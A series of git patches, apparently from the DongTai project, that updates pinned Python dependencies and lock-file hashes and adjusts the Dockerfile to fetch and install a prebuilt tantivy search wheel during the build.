"sha256:b39b8711578dcfd45fc0140993403b8a81e879ec25d53189f3faa1f006087dca", - "sha256:b3f543ae9d3408549a9900720f18c0194ac0fe810cecda2a584fd4dca2eb3bb8", - "sha256:d0583b75f2e70ec93f100931660328965bb9ff65ae54695fb3fa0a1255daa6f2", - "sha256:dfbbbf0809a3606046a41f8561c3eada9db811be94138f42d9135a5c47e75f6f", - "sha256:e538f2d4a6ffb6edfb303ce70ae7e88629ac6e5581870e66c306d9ad7b564a58", - "sha256:eba51599370c87088d8882ab74f637de0c4f04a6d08a312dce49368ba9ed5c2a", - "sha256:ee4b43f35f5dc15e1fec55ccb53c130adb1d11e8ad8263d68b1284b66a04190d", - "sha256:f2363e5fd81afb650085c6686f2ee3706975c54f331b426800b53531191fdf28", - "sha256:f299c020c6679cb389814a3b81200fe55d428012c5e76da7e722491f5d205990", - "sha256:f72f23bab1848edb7472309e9898603141644faec9fd57a823ea6b4d1c4c8995", - "sha256:fa90bac61c9dc3e1a563e5babb3fd2c0c1c80567e815442ddbe561eadc803b30" + "sha256:0c8cf55261e15590065039696607f6c9c1aeda700ceee40c70478552d323b3ff", + "sha256:13b7d0f2a67eb83c385880489dbb80145e9d344427b4262c49fbf2581677c11c", + "sha256:1f294a15f7723fc0d3b40701ca9b446133ec713eafc1cc6afa7b3d98666ee1ac", + "sha256:239a4a08525c080ff833560171d23b249f7f4d17fcbf9316ef4159f44997616f", + "sha256:2f8d89721834524a813f37fa174bac074ec3d179858e4ad1b7efd4401f8ac45d", + "sha256:2fdc7ccbd6eb6b7df5353012fbed6c3c5d04ceaca0038f75e601060e95345309", + "sha256:34c15ca9248f2e095ef2e93af2d633358c5f048c49fbfddf5fdfc47d5e263736", + "sha256:387545206c56b0315fbadb0431d5129c797f92dc59e276b3ce82db07ac1c6179", + "sha256:43b576c34ef0c1f5a4981163b551a8781896f2a37f71b8655fd20b5af0386abb", + "sha256:57d0a8ce40ce440f96a2c77824ee94bf0d0925e6089df7366c2272ccefcb7941", + "sha256:5a804abc126b33824a44a7aa94f06cd211a18bbf31898ba04bd0924fbe9d282d", + "sha256:67be3ca75012c6e9b109860820a8b6c9a84bfb036fbd1076246b98e56951ca92", + "sha256:6af47f10cfc54c2ba2d825220f180cc1e2d4914d783d6fc0cd93d43d7bc1c78b", + "sha256:6dc998f6de015723196a904045e5a2217f3590b62ea31990672e31fbc5370b41", + "sha256:70d2cef1bf529bff41559be2de9d44d47b002f65e17f43c73ddefc92f32bf00f", + "sha256:7ebc4d34e7620c4f0da7bf162c81978fce0ea820e4fa1e8fc40ee763839805f3", + "sha256:964a7af27379ff4357dad1256d9f215047e70e93009e532d36dcb8909036033d", + "sha256:97806e9ca3651588c1baaebb8d0c5ee3db95430b612db354c199b57378312ee8", + "sha256:9b9bc671626281f6045ad61d93a60f52fd5e8209b1610972cf0ef1bbe6d808e3", + "sha256:9ffdaa5290422ac0f1688cb8adb1b94ca56cee3ad11f29f2ae301df8aecba7d1", + "sha256:a0da79117952a9a41253696ed3e8b560a425197d4e41634a23b1507efe3273f1", + "sha256:a41f87bb93b8048fe866fa9e3d0c51e27fe55149035dcf5f43da4b56732c0a40", + "sha256:aa6fd016e9644406d0a61313e50348c706e911dca29736a3266fc9e28ec4ca6d", + "sha256:ad54ed57bdfa3254d23ae04a4b1ce405954969c1b0550cc2d1d2990e8b439de1", + "sha256:b012d023b4fb59183909b45d7f97fb493ef7a46d2838a5e716e3155081894605", + "sha256:b51b64432eed4c0744241e9ce5c70dcfecac866dff720e746d0a9c82f371dfa7", + "sha256:bbe81def9cf3e46f16ce01d9bfd8bea595e06505e51b7baf45115c77352675fd", + "sha256:c9559138690e1bd4ea6cd0954d22d1e9251e8025ce9ede5d0af0ceae4a401e43", + "sha256:e30506bcb03de8983f78884807e4fd95d8db6e65b69257eea05d13d519b83ac0", + "sha256:e33e86fd65f369f10608b08729c8f1c92ec7e0e485964670b4d2633a4812d36b", + "sha256:e441e8b7d587af0414d25e8d05e27040d78581388eed4c54c30c0c91aad3a379", + "sha256:e8bb9c990ca9027b4214fa543fd4025818dc95f8b7abce79d61dc8a2112b561a", + "sha256:ef43ee91c193f827e49599e824385ec7c7f3cd152d74cb1dfe02cb135f264d83", + "sha256:ef467d86d3cfde8b39ea1b35090208b0447caaabd38405420830f7fd85fbdd56", + "sha256:f89b28772fc2562ed9ad871c865f5320ef761a7fcc188a935e21fe8b31a38ca9", + "sha256:fddbab55a2473f1d3b8833ec6b7ac31e8211b0aa608df5ab09ce07f3727326de" ], "markers": "python_version >= '3.7'", - "version": "==6.0" + "version": "==6.1" } }, "develop": {} From 5ecb87640d1cf0a25554005954ef4a5613d7360e Mon Sep 17 00:00:00 2001 From: st1020 Date: Sat, 7 Oct 2023 14:04:54 +0800 Subject: [PATCH 32/92] feat: add tantivy search --- requirements.txt | 39 ++++++++++++++++++++------------------- 1 file changed, 20 insertions(+), 19 deletions(-) diff --git a/requirements.txt b/requirements.txt index 7f685d367..810997645 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,5 +1,5 @@ -i https://pypi.org/simple -aliyun-python-sdk-core==2.13.36 +aliyun-python-sdk-core==2.14.0 aliyun-python-sdk-core-v3==2.13.33 aliyun-python-sdk-kms==2.16.2 amqp==5.1.1; python_version >= '3.6' @@ -9,26 +9,26 @@ attrs==23.1.0; python_version >= '3.7' autopep8==2.0.4; python_version >= '3.6' billiard==4.1.0; python_version >= '3.7' boto3==1.24.59; python_version >= '3.7' -boto3-stubs==1.28.52; python_version >= '3.7' +boto3-stubs==1.28.62; python_version >= '3.7' botocore==1.27.91; python_version >= '3.7' -botocore-stubs==1.31.52; python_version >= '3.7' and python_version < '4.0' +botocore-stubs==1.31.62; python_version >= '3.7' and python_version < '4.0' celery==5.3.0rc1; python_version >= '3.7' celery-singleton==0.3.1; python_version >= '3.6' and python_version < '4.0' certifi==2023.7.22; python_version >= '3.6' -cffi==1.15.1 +cffi==1.16.0; python_version >= '3.8' chardet==5.2.0; python_version >= '3.7' -charset-normalizer==3.2.0; python_full_version >= '3.7.0' +charset-normalizer==3.3.0; python_full_version >= '3.7.0' click==8.1.7; python_version >= '3.7' click-didyoumean==0.3.0; python_full_version >= '3.6.2' and python_full_version < '4.0.0' click-plugins==1.1.1 click-repl==0.3.0; python_version >= '3.6' crcmod==1.7 cryptography==41.0.4; python_version >= '3.7' -dataclasses-json==0.6.0; python_version >= '3.7' and python_version < '4.0' +dataclasses-json==0.6.1; python_version >= '3.7' and python_version < '4.0' ddt==1.6.0 defusedxml==0.7.1; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' diff-match-patch==20230430; python_version >= '3.7' -django==3.2.21; python_version >= '3.6' +django==3.2.22; python_version >= '3.6' django-add-default-value==0.10.0 django-celery-beat==2.2.0 django-cors-headers==4.2.0; python_version >= '3.8' @@ -44,8 +44,8 @@ django-ranged-response==0.2.0 django-redis==5.2.0; python_version >= '3.6' django-rest-framework-proxy==1.6.0 django-seriously==0.4.3; python_version >= '3.6' -django-silk==5.0.3; python_version >= '3.7' -django-simple-captcha==0.5.18 +django-silk==5.0.4; python_version >= '3.8' +django-simple-captcha==0.5.20 django-stubs[compatible-mypy]==1.15.0; python_version >= '3.7' django-stubs-ext==4.2.2; python_version >= '3.8' django-timezone-field==4.2.3; python_version >= '3.5' @@ -64,7 +64,7 @@ et-xmlfile==1.1.0; python_version >= '3.6' flower==2.0.1; python_version >= '3.7' gevent==22.10.2; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5' gprof2dot==2022.7.29; python_version >= '2.7' -greenlet==2.0.2; platform_python_implementation == 'CPython' +greenlet==3.0.0; platform_python_implementation == 'CPython' gunicorn==20.1.0; python_version >= '3.5' humanize==4.8.0; python_version >= '3.8' id-validator==1.0.20; python_version >= '3' @@ -103,7 +103,7 @@ pycodestyle==2.11.0; python_version >= '3.8' pycparser==2.21 pycryptodome==3.19.0; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' pycryptodomex==3.14.1; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4' -pydantic==1.10.12; python_version >= '3.7' +pydantic==1.10.13; python_version >= '3.7' pydot==1.4.2; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3' pymysql==1.0.2; python_version >= '3.6' pyotp==2.9.0; python_version >= '3.7' @@ -120,24 +120,25 @@ redis==4.4.4; python_version >= '3.7' requests==2.31.0; python_version >= '3.7' result==0.8.0; python_version >= '3.7' s3transfer==0.6.2; python_version >= '3.7' -scipy==1.11.2; python_version < '3.13' and python_version >= '3.9' +scipy==1.11.3; python_version < '3.13' and python_version >= '3.9' setuptools==65.5.1; python_version >= '3.7' shortuuid==1.0.11; python_version >= '3.5' simhash==2.1.2 six==1.15.0; python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3' sqlparse==0.4.4; python_version >= '3.5' tablib[html,ods,xls,xlsx,yaml]==3.5.0; python_version >= '3.8' +tantivy@ git+https://github.com/HXSecurity/tantivy-py@1b8841a38de01a0c27e16ccf224eb405a2bf23ee tomli==2.0.1; python_version < '3.11' tornado==6.3.3; python_version >= '3.8' -types-awscrt==0.19.1; python_version >= '3.7' and python_version < '4.0' +types-awscrt==0.19.2; python_version >= '3.7' and python_version < '4.0' types-pymysql==1.1.0.1 types-pyopenssl==23.2.0.2 types-python-dateutil==2.8.19.14 types-pytz==2023.3.1.1 -types-pyyaml==6.0.12.11 -types-redis==4.6.0.6 -types-requests==2.31.0.3 -types-s3transfer==0.6.2; python_version >= '3.7' and python_version < '4.0' +types-pyyaml==6.0.12.12 +types-redis==4.6.0.7 +types-requests==2.31.0.6; python_version >= '3.7' +types-s3transfer==0.7.0; python_version >= '3.7' and python_version < '4.0' types-urllib3==1.26.25.14 typing-extensions==4.8.0; python_version >= '3.8' typing-inspect==0.9.0 @@ -147,8 +148,8 @@ urllib3==1.26.5; python_version >= '2.7' and python_version not in '3.0, 3.1, 3. uwsgi==2.0.22 uwsgitop==0.11 vine==5.0.0; python_version >= '3.6' -wcwidth==0.2.6 +wcwidth==0.2.8 xlrd==2.0.1 xlwt==1.3.0 zope.event==5.0; python_version >= '3.7' -zope.interface==6.0; python_version >= '3.7' +zope.interface==6.1; python_version >= '3.7' From 1c5f2f32575d6692d196e7369c62c24dc3b9b60d Mon Sep 17 00:00:00 2001 From: st1020 Date: Sat, 7 Oct 2023 14:21:42 +0800 Subject: [PATCH 33/92] feat: add tantivy search --- Dockerfile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Dockerfile b/Dockerfile index 653530070..07d7d29de 100644 --- a/Dockerfile +++ b/Dockerfile @@ -8,8 +8,8 @@ ENV TZ=Asia/Shanghai RUN apt-get update -y \ && apt install -y gettext gcc make cmake libmariadb-dev curl libc6-dev libxrender1 libxtst6 libxi6 unzip cron \ - fonts-wqy-microhei vim build-essential ninja-build cython3 pybind11-dev libre2-dev locales \ -# htop sysstat net-tools iproute2 procps lsof \ + fonts-wqy-microhei vim build-essential ninja-build cython3 pybind11-dev libre2-dev locales git \ + # htop sysstat net-tools iproute2 procps lsof \ zip libjpeg62 \ && sed -i '/en_US.UTF-8/s/^# //g' /etc/locale.gen && locale-gen \ && ALIMARCH=`arch` && curl -L https://charts.dongtai.io/apk/${ALIMARCH}/wkhtmltopdf -o /usr/bin/wkhtmltopdf \ From 662c027f6567aa315cd6c0a85b2787b2f3ef1590 Mon Sep 17 00:00:00 2001 From: st1020 Date: Sat, 7 Oct 2023 14:31:08 +0800 Subject: [PATCH 34/92] feat: add tantivy search --- Dockerfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Dockerfile b/Dockerfile index 07d7d29de..94f2caa3f 100644 --- a/Dockerfile +++ b/Dockerfile @@ -8,7 +8,7 @@ ENV TZ=Asia/Shanghai RUN apt-get update -y \ && apt install -y gettext gcc make cmake libmariadb-dev curl libc6-dev libxrender1 libxtst6 libxi6 unzip cron \ - fonts-wqy-microhei vim build-essential ninja-build cython3 pybind11-dev libre2-dev locales git \ + fonts-wqy-microhei vim build-essential ninja-build cython3 pybind11-dev libre2-dev locales git cargo \ # htop sysstat net-tools iproute2 procps lsof \ zip libjpeg62 \ && sed -i '/en_US.UTF-8/s/^# //g' /etc/locale.gen && locale-gen \ From 4492ec5cf4f4b344c70d9bbf09e81513f2982170 Mon Sep 17 00:00:00 2001 From: st1020 Date: Sat, 7 Oct 2023 15:34:35 +0800 Subject: [PATCH 35/92] feat: add tantivy search --- Dockerfile | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/Dockerfile b/Dockerfile index 94f2caa3f..7ee935590 100644 --- a/Dockerfile +++ b/Dockerfile @@ -8,16 +8,17 @@ ENV TZ=Asia/Shanghai RUN apt-get update -y \ && apt install -y gettext gcc make cmake libmariadb-dev curl libc6-dev libxrender1 libxtst6 libxi6 unzip cron \ - fonts-wqy-microhei vim build-essential ninja-build cython3 pybind11-dev libre2-dev locales git cargo \ + fonts-wqy-microhei vim build-essential ninja-build cython3 pybind11-dev libre2-dev locales \ # htop sysstat net-tools iproute2 procps lsof \ zip libjpeg62 \ && sed -i '/en_US.UTF-8/s/^# //g' /etc/locale.gen && locale-gen \ && ALIMARCH=`arch` && curl -L https://charts.dongtai.io/apk/${ALIMARCH}/wkhtmltopdf -o /usr/bin/wkhtmltopdf \ - && chmod +x /usr/bin/wkhtmltopdf + && chmod +x /usr/bin/wkhtmltopdf \ + && curl -L https://github.com/HXSecurity/tantivy-py/releases/download/0.21.0/tantivy-0.20.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl -o /tmp/tantivy-0.20.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl COPY Pipfile . COPY Pipfile.lock . -RUN pip install -U pip && pip install pipenv wheel && python3 -m pipenv sync --system -v +RUN pip install -U pip && pip install pipenv wheel && python3 -m pipenv sync --system -v && pip install /tmp/tantivy-0.20.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl COPY . /opt/dongtai WORKDIR /opt/dongtai From 990c3fbb4e67342c194e705099dc896a30d73a60 Mon Sep 17 00:00:00 2001 From: st1020 Date: Sat, 7 Oct 2023 15:53:38 +0800 Subject: [PATCH 36/92] feat: add tantivy search --- Pipfile | 1 - Pipfile.lock | 698 +++++++++++++++++++++++------------------------ requirements.txt | 39 ++- 3 files changed, 361 insertions(+), 377 deletions(-) diff --git a/Pipfile b/Pipfile index 66ed2a730..1ecd2744c 100644 --- a/Pipfile +++ b/Pipfile @@ -94,7 +94,6 @@ pandas = "~=2.1.0" pydot = "*" more-itertools = "*" pyotp = "~=2.9.0" -tantivy = {git = "git+https://github.com/HXSecurity/tantivy-py"} [dev-packages] diff --git a/Pipfile.lock b/Pipfile.lock index b177f64e6..d2422fd3d 100644 --- a/Pipfile.lock +++ b/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "89819c547148a11464684740cfd875e7761696859ea5829e37d8ea4959dfae98" + "sha256": "9031e1da5959c5d50e4c494f927bab8ca15f4b27cc6d5a595dc9a28754ff481f" }, "pipfile-spec": 6, "requires": { @@ -18,9 +18,9 @@ "default": { "aliyun-python-sdk-core": { "hashes": [ - "sha256:c806815a48ffdb894cc5bce15b8259b9a3012cc0cda01be2f3dfbb844f3f4f21" + "sha256:20bd54984fa316da700c7f355a51ab0b816690e2a0fcefb7b5ef013fed0da928" ], - "version": "==2.14.0" + "version": "==2.13.36" }, "aliyun-python-sdk-core-v3": { "hashes": [ @@ -95,12 +95,12 @@ }, "boto3-stubs": { "hashes": [ - "sha256:22a08e27d2ede1849dd0d75e8501099240b34bd70adb606584a2af2e12f3a22b", - "sha256:f5ae08d2abae7709fff3e7cacea66c41cb43236527cfaf3975e506c6c67439a0" + "sha256:12d7e5865aeec52e1f73b935b1c6a42e61325538fc2cb83a87a83e41e9485241", + "sha256:3ea81a225e062f3bcb205467891086ea031519697ad54622e61251b52609b8d6" ], "index": "pypi", "markers": "python_version >= '3.7'", - "version": "==1.28.62" + "version": "==1.28.52" }, "botocore": { "hashes": [ @@ -113,12 +113,12 @@ }, "botocore-stubs": { "hashes": [ - "sha256:2ce555e5dff2e91fc22bd67106534bf3e0593b838d87f8a49d3b8e87fa83a440", - "sha256:d30217d8f6a0888616a44c83150490c5fbc899550ffe1896a2cd15a2205fd648" + "sha256:11431ac0faa35cad6deed6e87002f312f8ea6358d8106a241b60bcead2f84279", + "sha256:2fa9b78c7a335a94d918079773dc3198786de741586187d847a8710b9c337009" ], "index": "pypi", "markers": "python_version >= '3.7' and python_version < '4.0'", - "version": "==1.31.62" + "version": "==1.31.52" }, "celery": { "hashes": [ @@ -149,62 +149,73 @@ }, "cffi": { "hashes": [ - "sha256:0c9ef6ff37e974b73c25eecc13952c55bceed9112be2d9d938ded8e856138bcc", - "sha256:131fd094d1065b19540c3d72594260f118b231090295d8c34e19a7bbcf2e860a", - "sha256:1b8ebc27c014c59692bb2664c7d13ce7a6e9a629be20e54e7271fa696ff2b417", - "sha256:2c56b361916f390cd758a57f2e16233eb4f64bcbeee88a4881ea90fca14dc6ab", - "sha256:2d92b25dbf6cae33f65005baf472d2c245c050b1ce709cc4588cdcdd5495b520", - "sha256:31d13b0f99e0836b7ff893d37af07366ebc90b678b6664c955b54561fc36ef36", - "sha256:32c68ef735dbe5857c810328cb2481e24722a59a2003018885514d4c09af9743", - "sha256:3686dffb02459559c74dd3d81748269ffb0eb027c39a6fc99502de37d501faa8", - "sha256:582215a0e9adbe0e379761260553ba11c58943e4bbe9c36430c4ca6ac74b15ed", - "sha256:5b50bf3f55561dac5438f8e70bfcdfd74543fd60df5fa5f62d94e5867deca684", - "sha256:5bf44d66cdf9e893637896c7faa22298baebcd18d1ddb6d2626a6e39793a1d56", - "sha256:6602bc8dc6f3a9e02b6c22c4fc1e47aa50f8f8e6d3f78a5e16ac33ef5fefa324", - "sha256:673739cb539f8cdaa07d92d02efa93c9ccf87e345b9a0b556e3ecc666718468d", - "sha256:68678abf380b42ce21a5f2abde8efee05c114c2fdb2e9eef2efdb0257fba1235", - "sha256:68e7c44931cc171c54ccb702482e9fc723192e88d25a0e133edd7aff8fcd1f6e", - "sha256:6b3d6606d369fc1da4fd8c357d026317fbb9c9b75d36dc16e90e84c26854b088", - "sha256:748dcd1e3d3d7cd5443ef03ce8685043294ad6bd7c02a38d1bd367cfd968e000", - "sha256:7651c50c8c5ef7bdb41108b7b8c5a83013bfaa8a935590c5d74627c047a583c7", - "sha256:7b78010e7b97fef4bee1e896df8a4bbb6712b7f05b7ef630f9d1da00f6444d2e", - "sha256:7e61e3e4fa664a8588aa25c883eab612a188c725755afff6289454d6362b9673", - "sha256:80876338e19c951fdfed6198e70bc88f1c9758b94578d5a7c4c91a87af3cf31c", - "sha256:8895613bcc094d4a1b2dbe179d88d7fb4a15cee43c052e8885783fac397d91fe", - "sha256:88e2b3c14bdb32e440be531ade29d3c50a1a59cd4e51b1dd8b0865c54ea5d2e2", - "sha256:8f8e709127c6c77446a8c0a8c8bf3c8ee706a06cd44b1e827c3e6a2ee6b8c098", - "sha256:9cb4a35b3642fc5c005a6755a5d17c6c8b6bcb6981baf81cea8bfbc8903e8ba8", - "sha256:9f90389693731ff1f659e55c7d1640e2ec43ff725cc61b04b2f9c6d8d017df6a", - "sha256:a09582f178759ee8128d9270cd1344154fd473bb77d94ce0aeb2a93ebf0feaf0", - "sha256:a6a14b17d7e17fa0d207ac08642c8820f84f25ce17a442fd15e27ea18d67c59b", - "sha256:a72e8961a86d19bdb45851d8f1f08b041ea37d2bd8d4fd19903bc3083d80c896", - "sha256:abd808f9c129ba2beda4cfc53bde801e5bcf9d6e0f22f095e45327c038bfe68e", - "sha256:ac0f5edd2360eea2f1daa9e26a41db02dd4b0451b48f7c318e217ee092a213e9", - "sha256:b29ebffcf550f9da55bec9e02ad430c992a87e5f512cd63388abb76f1036d8d2", - "sha256:b2ca4e77f9f47c55c194982e10f058db063937845bb2b7a86c84a6cfe0aefa8b", - "sha256:b7be2d771cdba2942e13215c4e340bfd76398e9227ad10402a8767ab1865d2e6", - "sha256:b84834d0cf97e7d27dd5b7f3aca7b6e9263c56308ab9dc8aae9784abb774d404", - "sha256:b86851a328eedc692acf81fb05444bdf1891747c25af7529e39ddafaf68a4f3f", - "sha256:bcb3ef43e58665bbda2fb198698fcae6776483e0c4a631aa5647806c25e02cc0", - "sha256:c0f31130ebc2d37cdd8e44605fb5fa7ad59049298b3f745c74fa74c62fbfcfc4", - "sha256:c6a164aa47843fb1b01e941d385aab7215563bb8816d80ff3a363a9f8448a8dc", - "sha256:d8a9d3ebe49f084ad71f9269834ceccbf398253c9fac910c4fd7053ff1386936", - "sha256:db8e577c19c0fda0beb7e0d4e09e0ba74b1e4c092e0e40bfa12fe05b6f6d75ba", - "sha256:dc9b18bf40cc75f66f40a7379f6a9513244fe33c0e8aa72e2d56b0196a7ef872", - "sha256:e09f3ff613345df5e8c3667da1d918f9149bd623cd9070c983c013792a9a62eb", - "sha256:e4108df7fe9b707191e55f33efbcb2d81928e10cea45527879a4749cbe472614", - "sha256:e6024675e67af929088fda399b2094574609396b1decb609c55fa58b028a32a1", - "sha256:e70f54f1796669ef691ca07d046cd81a29cb4deb1e5f942003f401c0c4a2695d", - "sha256:e715596e683d2ce000574bae5d07bd522c781a822866c20495e52520564f0969", - "sha256:e760191dd42581e023a68b758769e2da259b5d52e3103c6060ddc02c9edb8d7b", - "sha256:ed86a35631f7bfbb28e108dd96773b9d5a6ce4811cf6ea468bb6a359b256b1e4", - "sha256:ee07e47c12890ef248766a6e55bd38ebfb2bb8edd4142d56db91b21ea68b7627", - "sha256:fa3a0128b152627161ce47201262d3140edb5a5c3da88d73a1b790a959126956", - "sha256:fcc8eb6d5902bb1cf6dc4f187ee3ea80a1eba0a89aba40a5cb20a5087d961357" - ], - "index": "pypi", - "markers": "python_version >= '3.8'", - "version": "==1.16.0" + "sha256:00a9ed42e88df81ffae7a8ab6d9356b371399b91dbdf0c3cb1e84c03a13aceb5", + "sha256:03425bdae262c76aad70202debd780501fabeaca237cdfddc008987c0e0f59ef", + "sha256:04ed324bda3cda42b9b695d51bb7d54b680b9719cfab04227cdd1e04e5de3104", + "sha256:0e2642fe3142e4cc4af0799748233ad6da94c62a8bec3a6648bf8ee68b1c7426", + "sha256:173379135477dc8cac4bc58f45db08ab45d228b3363adb7af79436135d028405", + "sha256:198caafb44239b60e252492445da556afafc7d1e3ab7a1fb3f0584ef6d742375", + "sha256:1e74c6b51a9ed6589199c787bf5f9875612ca4a8a0785fb2d4a84429badaf22a", + "sha256:2012c72d854c2d03e45d06ae57f40d78e5770d252f195b93f581acf3ba44496e", + "sha256:21157295583fe8943475029ed5abdcf71eb3911894724e360acff1d61c1d54bc", + "sha256:2470043b93ff09bf8fb1d46d1cb756ce6132c54826661a32d4e4d132e1977adf", + "sha256:285d29981935eb726a4399badae8f0ffdff4f5050eaa6d0cfc3f64b857b77185", + "sha256:30d78fbc8ebf9c92c9b7823ee18eb92f2e6ef79b45ac84db507f52fbe3ec4497", + "sha256:320dab6e7cb2eacdf0e658569d2575c4dad258c0fcc794f46215e1e39f90f2c3", + "sha256:33ab79603146aace82c2427da5ca6e58f2b3f2fb5da893ceac0c42218a40be35", + "sha256:3548db281cd7d2561c9ad9984681c95f7b0e38881201e157833a2342c30d5e8c", + "sha256:3799aecf2e17cf585d977b780ce79ff0dc9b78d799fc694221ce814c2c19db83", + "sha256:39d39875251ca8f612b6f33e6b1195af86d1b3e60086068be9cc053aa4376e21", + "sha256:3b926aa83d1edb5aa5b427b4053dc420ec295a08e40911296b9eb1b6170f6cca", + "sha256:3bcde07039e586f91b45c88f8583ea7cf7a0770df3a1649627bf598332cb6984", + "sha256:3d08afd128ddaa624a48cf2b859afef385b720bb4b43df214f85616922e6a5ac", + "sha256:3eb6971dcff08619f8d91607cfc726518b6fa2a9eba42856be181c6d0d9515fd", + "sha256:40f4774f5a9d4f5e344f31a32b5096977b5d48560c5592e2f3d2c4374bd543ee", + "sha256:4289fc34b2f5316fbb762d75362931e351941fa95fa18789191b33fc4cf9504a", + "sha256:470c103ae716238bbe698d67ad020e1db9d9dba34fa5a899b5e21577e6d52ed2", + "sha256:4f2c9f67e9821cad2e5f480bc8d83b8742896f1242dba247911072d4fa94c192", + "sha256:50a74364d85fd319352182ef59c5c790484a336f6db772c1a9231f1c3ed0cbd7", + "sha256:54a2db7b78338edd780e7ef7f9f6c442500fb0d41a5a4ea24fff1c929d5af585", + "sha256:5635bd9cb9731e6d4a1132a498dd34f764034a8ce60cef4f5319c0541159392f", + "sha256:59c0b02d0a6c384d453fece7566d1c7e6b7bae4fc5874ef2ef46d56776d61c9e", + "sha256:5d598b938678ebf3c67377cdd45e09d431369c3b1a5b331058c338e201f12b27", + "sha256:5df2768244d19ab7f60546d0c7c63ce1581f7af8b5de3eb3004b9b6fc8a9f84b", + "sha256:5ef34d190326c3b1f822a5b7a45f6c4535e2f47ed06fec77d3d799c450b2651e", + "sha256:6975a3fac6bc83c4a65c9f9fcab9e47019a11d3d2cf7f3c0d03431bf145a941e", + "sha256:6c9a799e985904922a4d207a94eae35c78ebae90e128f0c4e521ce339396be9d", + "sha256:70df4e3b545a17496c9b3f41f5115e69a4f2e77e94e1d2a8e1070bc0c38c8a3c", + "sha256:7473e861101c9e72452f9bf8acb984947aa1661a7704553a9f6e4baa5ba64415", + "sha256:8102eaf27e1e448db915d08afa8b41d6c7ca7a04b7d73af6514df10a3e74bd82", + "sha256:87c450779d0914f2861b8526e035c5e6da0a3199d8f1add1a665e1cbc6fc6d02", + "sha256:8b7ee99e510d7b66cdb6c593f21c043c248537a32e0bedf02e01e9553a172314", + "sha256:91fc98adde3d7881af9b59ed0294046f3806221863722ba7d8d120c575314325", + "sha256:94411f22c3985acaec6f83c6df553f2dbe17b698cc7f8ae751ff2237d96b9e3c", + "sha256:98d85c6a2bef81588d9227dde12db8a7f47f639f4a17c9ae08e773aa9c697bf3", + "sha256:9ad5db27f9cabae298d151c85cf2bad1d359a1b9c686a275df03385758e2f914", + "sha256:a0b71b1b8fbf2b96e41c4d990244165e2c9be83d54962a9a1d118fd8657d2045", + "sha256:a0f100c8912c114ff53e1202d0078b425bee3649ae34d7b070e9697f93c5d52d", + "sha256:a591fe9e525846e4d154205572a029f653ada1a78b93697f3b5a8f1f2bc055b9", + "sha256:a5c84c68147988265e60416b57fc83425a78058853509c1b0629c180094904a5", + "sha256:a66d3508133af6e8548451b25058d5812812ec3798c886bf38ed24a98216fab2", + "sha256:a8c4917bd7ad33e8eb21e9a5bbba979b49d9a97acb3a803092cbc1133e20343c", + "sha256:b3bbeb01c2b273cca1e1e0c5df57f12dce9a4dd331b4fa1635b8bec26350bde3", + "sha256:cba9d6b9a7d64d4bd46167096fc9d2f835e25d7e4c121fb2ddfc6528fb0413b2", + "sha256:cc4d65aeeaa04136a12677d3dd0b1c0c94dc43abac5860ab33cceb42b801c1e8", + "sha256:ce4bcc037df4fc5e3d184794f27bdaab018943698f4ca31630bc7f84a7b69c6d", + "sha256:cec7d9412a9102bdc577382c3929b337320c4c4c4849f2c5cdd14d7368c5562d", + "sha256:d400bfb9a37b1351253cb402671cea7e89bdecc294e8016a707f6d1d8ac934f9", + "sha256:d61f4695e6c866a23a21acab0509af1cdfd2c013cf256bbf5b6b5e2695827162", + "sha256:db0fbb9c62743ce59a9ff687eb5f4afbe77e5e8403d6697f7446e5f609976f76", + "sha256:dd86c085fae2efd48ac91dd7ccffcfc0571387fe1193d33b6394db7ef31fe2a4", + "sha256:e00b098126fd45523dd056d2efba6c5a63b71ffe9f2bbe1a4fe1716e1d0c331e", + "sha256:e229a521186c75c8ad9490854fd8bbdd9a0c9aa3a524326b55be83b54d4e0ad9", + "sha256:e263d77ee3dd201c3a142934a086a4450861778baaeeb45db4591ef65550b0a6", + "sha256:ed9cb427ba5504c1dc15ede7d516b84757c3e3d7868ccc85121d9310d27eed0b", + "sha256:fa6693661a4c91757f4412306191b6dc88c1703f780c8234035eac011922bc01", + "sha256:fcd131dd944808b5bdb38e6f5b53013c5aa4f334c5cad0c72742f6eba4b73db0" + ], + "index": "pypi", + "version": "==1.15.1" }, "chardet": { "hashes": [ @@ -217,99 +228,84 @@ }, "charset-normalizer": { "hashes": [ - "sha256:02673e456dc5ab13659f85196c534dc596d4ef260e4d86e856c3b2773ce09843", - "sha256:02af06682e3590ab952599fbadac535ede5d60d78848e555aa58d0c0abbde786", - "sha256:03680bb39035fbcffe828eae9c3f8afc0428c91d38e7d61aa992ef7a59fb120e", - "sha256:0570d21da019941634a531444364f2482e8db0b3425fcd5ac0c36565a64142c8", - "sha256:09c77f964f351a7369cc343911e0df63e762e42bac24cd7d18525961c81754f4", - "sha256:0d3d5b7db9ed8a2b11a774db2bbea7ba1884430a205dbd54a32d61d7c2a190fa", - "sha256:1063da2c85b95f2d1a430f1c33b55c9c17ffaf5e612e10aeaad641c55a9e2b9d", - "sha256:12ebea541c44fdc88ccb794a13fe861cc5e35d64ed689513a5c03d05b53b7c82", - "sha256:153e7b6e724761741e0974fc4dcd406d35ba70b92bfe3fedcb497226c93b9da7", - "sha256:15b26ddf78d57f1d143bdf32e820fd8935d36abe8a25eb9ec0b5a71c82eb3895", - "sha256:1872d01ac8c618a8da634e232f24793883d6e456a66593135aeafe3784b0848d", - "sha256:187d18082694a29005ba2944c882344b6748d5be69e3a89bf3cc9d878e548d5a", - "sha256:1b2919306936ac6efb3aed1fbf81039f7087ddadb3160882a57ee2ff74fd2382", - 